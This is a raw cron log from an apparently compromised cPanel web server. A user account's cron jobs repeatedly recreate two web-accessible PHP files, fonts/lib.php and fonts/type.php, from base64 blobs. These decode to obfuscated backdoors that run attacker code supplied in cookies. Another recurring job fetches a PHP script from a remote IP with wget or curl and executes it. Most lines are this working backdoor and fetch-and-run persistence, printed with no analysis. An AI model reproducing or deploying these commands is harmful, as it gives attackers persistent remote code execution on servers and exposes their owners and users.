Sep 12 19:01:01 ip-184-168-122-23 CROND[10040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:01:01 ip-184-168-122-23 CROND[10044]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10034]: starting 0anacron
Sep 12 19:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[10055]: finished 0anacron
Sep 12 19:02:01 ip-184-168-122-23 CROND[10145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:02:01 ip-184-168-122-23 CROND[10146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:02:01 ip-184-168-122-23 CROND[10149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:02:01 ip-184-168-122-23 CROND[10148]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:02:01 ip-184-168-122-23 CROND[10147]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:03:01 ip-184-168-122-23 CROND[10311]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:03:01 ip-184-168-122-23 CROND[10314]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:03:01 ip-184-168-122-23 CROND[10315]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:03:01 ip-184-168-122-23 CROND[10313]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:04:01 ip-184-168-122-23 CROND[10389]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:04:01 ip-184-168-122-23 CROND[10391]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:04:01 ip-184-168-122-23 CROND[10390]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:04:01 ip-184-168-122-23 CROND[10392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:04:01 ip-184-168-122-23 CROND[10393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:05:01 ip-184-168-122-23 CROND[10508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:05:01 ip-184-168-122-23 CROND[10510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:05:02 ip-184-168-122-23 CROND[10514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:05:02 ip-184-168-122-23 CROND[10512]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 19:05:02 ip-184-168-122-23 CROND[10513]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:05:02 ip-184-168-122-23 CROND[10517]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:05:02 ip-184-168-122-23 CROND[10520]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:06:02 ip-184-168-122-23 CROND[10602]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:06:02 ip-184-168-122-23 CROND[10603]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:06:02 ip-184-168-122-23 CROND[10610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:06:02 ip-184-168-122-23 CROND[10607]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:06:02 ip-184-168-122-23 CROND[10609]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:07:01 ip-184-168-122-23 CROND[10696]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:07:01 ip-184-168-122-23 CROND[10698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:07:01 ip-184-168-122-23 CROND[10699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:07:01 ip-184-168-122-23 CROND[10700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:08:01 ip-184-168-122-23 CROND[10861]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:08:01 ip-184-168-122-23 CROND[10863]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:08:01 ip-184-168-122-23 CROND[10864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:08:01 ip-184-168-122-23 CROND[10865]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:08:01 ip-184-168-122-23 CROND[10866]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:09:01 ip-184-168-122-23 CROND[10964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:09:01 ip-184-168-122-23 CROND[10965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:09:01 ip-184-168-122-23 CROND[10968]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:09:01 ip-184-168-122-23 CROND[10970]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:09:01 ip-184-168-122-23 CROND[10966]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 19:10:01 ip-184-168-122-23 CROND[11075]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 19:10:01 ip-184-168-122-23 CROND[11076]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 19:10:01 ip-184-168-122-23 CROND[11080]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:10:01 ip-184-168-122-23 CROND[11082]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:10:01 ip-184-168-122-23 CROND[11083]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:10:01 ip-184-168-122-23 CROND[11081]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:10:01 ip-184-168-122-23 CROND[11084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:10:01 ip-184-168-122-23 CROND[11086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 19:11:01 ip-184-168-122-23 CROND[11188]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:11:01 ip-184-168-122-23 CROND[11189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:11:01 ip-184-168-122-23 CROND[11190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:11:01 ip-184-168-122-23 CROND[11191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:12:01 ip-184-168-122-23 CROND[11281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:12:01 ip-184-168-122-23 CROND[11283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 19:12:01 ip-184-168-122-23 CROND[11286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:12:01 ip-184-168-122-23 CROND[11285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 19:12:01 ip-184-168-122-23 CROND[11287]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 19:13:01 ip-184-168-122-23 CROND[11454]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 19:13:01 ip-184-168-122-23 CROND[11456]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 19:13:01 ip-184-168-122-23 CROND[11457]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
